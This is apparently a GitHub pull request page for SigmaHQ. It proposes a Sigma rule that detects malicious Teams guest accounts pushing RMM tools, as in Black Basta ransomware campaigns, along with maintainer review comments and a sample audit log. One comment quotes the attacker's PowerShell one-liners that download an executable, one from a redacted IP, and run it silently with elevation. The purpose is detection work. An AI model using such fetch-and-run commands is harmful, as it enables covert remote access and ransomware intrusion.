Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create microsoft365_teams_guest_rmm_deployment.yml #5066

Open
wants to merge 11 commits into
base: master
Choose a base branch
from

Conversation

prashanthpulisetti
Copy link
Contributor

This Sigma rule is designed to detect potential malicious guest accounts using onmicrosoft.com domains and the deployment of Remote Monitoring and Management (RMM) tools via Teams messages. The rule identifies emails containing links to executable files or known RMM tool URLs. This detection is crucial for preventing attackers from gaining unauthorized access through email bombing and subsequent fake IT support messages that lead to ransomware deployment.

reference:
https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/?form=MG0AV3 https://securityaffairs.com/170311/cyber-crime/black-basta-ransomware-microsoft-teams.html?form=MG0AV3

Summary of the Pull Request

Changelog

  • Created a Sigma rule to detect malicious guest accounts and RMM tool deployment via Teams.

  • Integrated detection for email patterns indicative of executable files and known RMM tool URLs.

  • Added references to recent incidents involving Black Basta ransomware using Microsoft Teams.

Example Log Event

{
"user.email": "[email protected]",
"o365.audit.MessageURLs": "https://downloads.level.io/install_windows.exe"
}

Fixed Issues

SigmaHQ Rule Creation Conventions

  • If your PR adds new rules, please consider following and applying these conventions

This Sigma rule is designed to detect potential malicious guest accounts using onmicrosoft.com domains and the deployment of Remote Monitoring and Management (RMM) tools via Teams messages. The rule identifies emails containing links to executable files or known RMM tool URLs. This detection is crucial for preventing attackers from gaining unauthorized access through email bombing and subsequent fake IT support messages that lead to ransomware deployment.

reference:
https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/?form=MG0AV3
https://securityaffairs.com/170311/cyber-crime/black-basta-ransomware-microsoft-teams.html?form=MG0AV3
@github-actions github-actions bot added the Rules label Nov 1, 2024
@nasbench
Copy link
Member

nasbench commented Nov 1, 2024

thanks for the contribution @prashanthpulisetti

Before i can review this please make sure that your rule conforms to the rules here in the repo and the standard.

  • Indentation has to be 4
  • status must start with experimental
  • the field fields isn't used anymore for public rules

Thanks

@nasbench nasbench added the Work In Progress Some changes are needed label Nov 1, 2024
@nasbench nasbench marked this pull request as draft November 1, 2024 09:42
@prashanthpulisetti
Copy link
Contributor Author

Hi @nasbench, thanks for the suggestions, I will make sure to adjust them.

Removed fields
adjusted logsources
@nasbench
Copy link
Member

nasbench commented Nov 1, 2024

Hi @nasbench, thanks for the suggestions, I will make sure to adjust them.

They were not suggestions but requirements 😛 haha

@prashanthpulisetti prashanthpulisetti marked this pull request as ready for review November 1, 2024 10:20
Copy link
Member

@nasbench nasbench left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@prashanthpulisetti can you please provide the full log and not a stripped down version?

Comment on lines +28 to +30
- .exe
- .msi
- .js
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's the reasoning behind selecting these extensions and not something else?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @nasbench ; recently I was working with a client and they had a massive email bombing attack followed by an teams guest message and then they sent a payload which contains a fake RMM tool so there are two messages the attacker sent via teams one is directly https://anydesk.com which is something similar to

Start-Process powershell -ArgumentList 'Invoke-WebRequest -Uri "https://download.anydesk.com/AnyDesk.exe" -OutFile "$env:TEMP\AnyDesk.exe"; Start-Process -FilePath "$env:TEMP\AnyDesk.exe" -ArgumentList "/silent" -Wait; Remove-Item -Path "$env:TEMP\AnyDesk.exe" -Force' -Verb RunAs

and there is another message with IP as their URL ( could be a C2C ) :

Start-Process powershell -ArgumentList 'Invoke-WebRequest -Uri "https://xxx.xx.xx.xx/RMM.exe" -OutFile "$env:TEMP\AnyDesk.exe"; Start-Process -FilePath "$env:TEMP\AnyDesk.exe" -ArgumentList "/silent" -Wait; Remove-Item -Path "$env:TEMP\AnyDesk.exe" -Force' -Verb RunAs

So this is the reason why I've kept with .exe, .msi or .js.

title: Detection of Potential Malicious Guest Accounts and RMM Tool Deployment via Teams
id: aed9c24f-097a-4505-af85-74b4b83982b0
status: experimental
description: Detects potential malicious guest accounts using onmicrosoft.com and deployment of RMM tools via Teams messages.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't really makes a lot of sense, can you please rephrase it. What's the relation between guest accounts and deployment of RMMs?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As I mentioned in the notes below, attackers are using Teams channels to send Remote Monitoring and Management (RMM) software, posing as fake Microsoft support agents and asking end users to download these RMM tools under the guise of troubleshooting assistance.

@nasbench nasbench added the Author Input Required changes the require information from original author of the rules label Nov 7, 2024
@prashanthpulisetti
Copy link
Contributor Author

@nasbench

please see the original log:

CreationTime: 2024-11-08T14:33:49
UserId: [email protected]
UserType: 0
UserKey: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
MessageId: xxxxxxxxxxxxxxxx
MessageVersion: xxxxxxxxxxxxxxxx
CommunicationType: OneOnOne
ChatThreadId: 19:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx@unq.gbl.spaces
ResourceTenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
UserTenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ParticipantInfo:
  - HasOtherGuestUsers: false
  - ParticipatingSIPDomains:
    - TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
      DomainName: exampletenant.onmicrosoft.com
    - TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
      DomainName: fictitiouscorp.com
  - HasForeignTenantUsers: true
  - ParticipatingTenantIds: [xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx]
  - HasGuestUsers: false
  - HasUnauthenticatedUsers: false
  - ParticipatingDomains: [fictitiouscorp.com, exampletenant.onmicrosoft.com]
MessageURLs: [https://example.com/install_windows.exe]
ExtraProperties:
  - TimeZone: Europe/Moscow
  - OsName: Android
  - OsVersion: 14
  - Country: XX
  - ClientName: microsoftteams
  - ClientVersion: 1416/1.0.0.2024183604
  - ClientUtcOffsetSeconds: 10800

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Author Input Required changes the require information from original author of the rules Rules Work In Progress Some changes are needed
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants